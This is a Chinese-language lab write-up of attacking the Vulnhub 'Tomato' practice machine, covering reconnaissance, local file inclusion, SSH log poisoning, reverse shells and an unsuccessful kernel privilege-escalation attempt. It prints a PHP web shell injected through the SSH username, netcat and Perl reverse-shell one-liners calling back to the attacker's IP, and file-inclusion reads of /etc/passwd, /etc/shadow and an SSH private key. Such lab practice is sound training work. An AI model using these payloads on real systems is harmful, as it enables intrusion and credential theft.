靶机平台"/>
【每日打靶练习】Vulnhub靶机平台
Tomato靶场练习---低
- 0x00部署
- 0x01信息收集
- 1.主机发现
- 2.端口扫描
- 3.信息收集(漏洞扫描)
- 4.路径爬取
- 5.源码分析
- 0x02漏洞渗透
- 1.文件包含
- 2.写入日志
- 反弹shell
- 3.内核漏洞枚举
- 4.本地提权
0x00部署
Tomato靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件
0x01信息收集
1.主机发现
$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip
2.端口扫描
//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip
$ sudo nmap -sC -sV -O -p21,80,2211,8888 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测
通过结果信息可知,http title名称,这里还给出了ssh-hostkey等信息。
3.信息收集(漏洞扫描)
$sudo nmap --script=vuln -p21,80,2211,8888 靶机ip
其结果除了低速率DOS外也没什么可利用信息
访问80页面:可以看到一张西红树图片,检查一下源码(没什么问题)
4.路径爬取
对80端口进行一下路径爬取,寻找隐藏信息
$ dirsearch -u http://ip
//没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html
//指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破
这里得到了一个防止爬取的插件的页面,查看一下
5.源码分析
里面有很多目录,检查一下内容,在info.php中看到这是一个phpinfo的信息,查看源码得到一个注释:
<!-- </?php include $_GET['image']; -->
这个注释提醒我们这里可能存在文件包含漏洞
0x02漏洞渗透
1.文件包含
利用注释的提示,我们尝试包含以下本地/etc/passwd
image=/etc/passwd
在网页的下边找到包含内容,通过返回信息中的用户属性得到信息:root用户可以执行shell,下方的tomato用户也可以执行shell,继续。
这里尝试包含/etc/shadow目录失败,如果存在文件包含就可以想到包含一句话木马,然后远程执行,但是在info页面发现并未开启远程包含–》更换思路
这里还要查看一下tomato用户的主目录下的ssh公钥是否可以包含
image=/home/tomato/.ssh/id_rsa
包含失败,这里未开放远程包含,同时本地包含文件无可再利用—》转换思路
2.写入日志
这里思路有三:
1.对ftp发起错误请求–写入日志–访问日志—查看写入的位置—对写入位置进行一句话木马,但是这里找不到ftp日志:1.权限问题,2.日志路径修改
2.web服务器写入日志
3.向ssh发起–写入–访问–若无配置,ssh默认登录信息或被存在放在系统信息身份认证日志中/var/log/auth.log–查看错误访问写入–一句户木马
$ ssh 22222@靶机ip -p 2211
//-p 指定一下port
尝试ssh连接,这里使用错误的用户名和错误的密码,输入三次后,写入日志中,检查一下log,成功获取到日志信息,可通过修改ruser来进行注入
$ ssh '<?php echo system($_GET["cmd"]);?>'@ip -p port
刷新日志进行查看,发现注入未显示,证明注入成功,木马被作为代码执行,若显示则失败,代码木马作为文本执行。
反弹shell
查看一下nc存在否:(存在)
cmd=which nc
cmd=which perl
//查看一下perl环境有无,用来执行反弹shell脚本
利用nc来实现反弹shell
kali端:
$nc -nvlp 4444
//监听4444端口
---------------
包含:
cmd=nc kali的ip 4444 -e /bin/bash
//若成功,kali端会收到初始shell权限
//失败就换用反弹脚本:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.145.142:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
kali端收到侦听,执行指令发现当前用户可执行的指令很少,权限很少,通过查看系统使用工具来检查内核是否存在漏洞:
该工具:linux-exploit-suggester
3.内核漏洞枚举
下载该工具,并将其移动至主目录,更名为首字母缩写les.sh文件
$ cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .
$ mv linux-exploit-suggester.sh les.sh
$ nc kali的ip 4444 < les.sh -w 1
//将工具les.sh通过nc发给靶机shell,-w表示一发送到就断开连接
//靶机端侦听,将收到的文件存入les.sh中
nc 4444 > les.sh
chmod +x les.sh
./les.sh
执行后的匹配到相应漏洞,选择可能性高的来试一下
kali靶机:
//搜索漏洞,根据提供路径放到当前目录下
$ searchsploit -p 40839
$ cp /usr/share/exploitdb/exploits/linux/local/40839.c .
$ gcc 40839.c -o exp
//这个执行不了,所以换一个
$ searchsploit -p 45010
$ cp /usr/share/exploitdb/exploits/linux/local/45010.c .
$ gcc 45010.c -o exp
$ nc kali的ip 4545 < exp -w 1
推荐在目标靶机上进行gcc,但是如果目标靶机上没有c环境,则在宿主机上进行编译然后再通过nc传给靶机。
//靶机端侦听,将收到的文件存入les.sh中
nc 4545 > exp
chmod +x exp
./exp
本来到这里应该就可以提权了,但是我id后还是www-data用户,所以尝试了网上的方法,先将shell变成可交互式的:
python3 -c "import pty;pty.spawn('/bin/bash')"
然后再运行漏洞文件,才发现刚才不能提权是缺少‘GLIBC_2.34’
解决一下,tomato靶机提权无效的问题:暂未解决
4.本地提权
id
更多推荐
【每日打靶练习】Vulnhub靶机平台
发布评论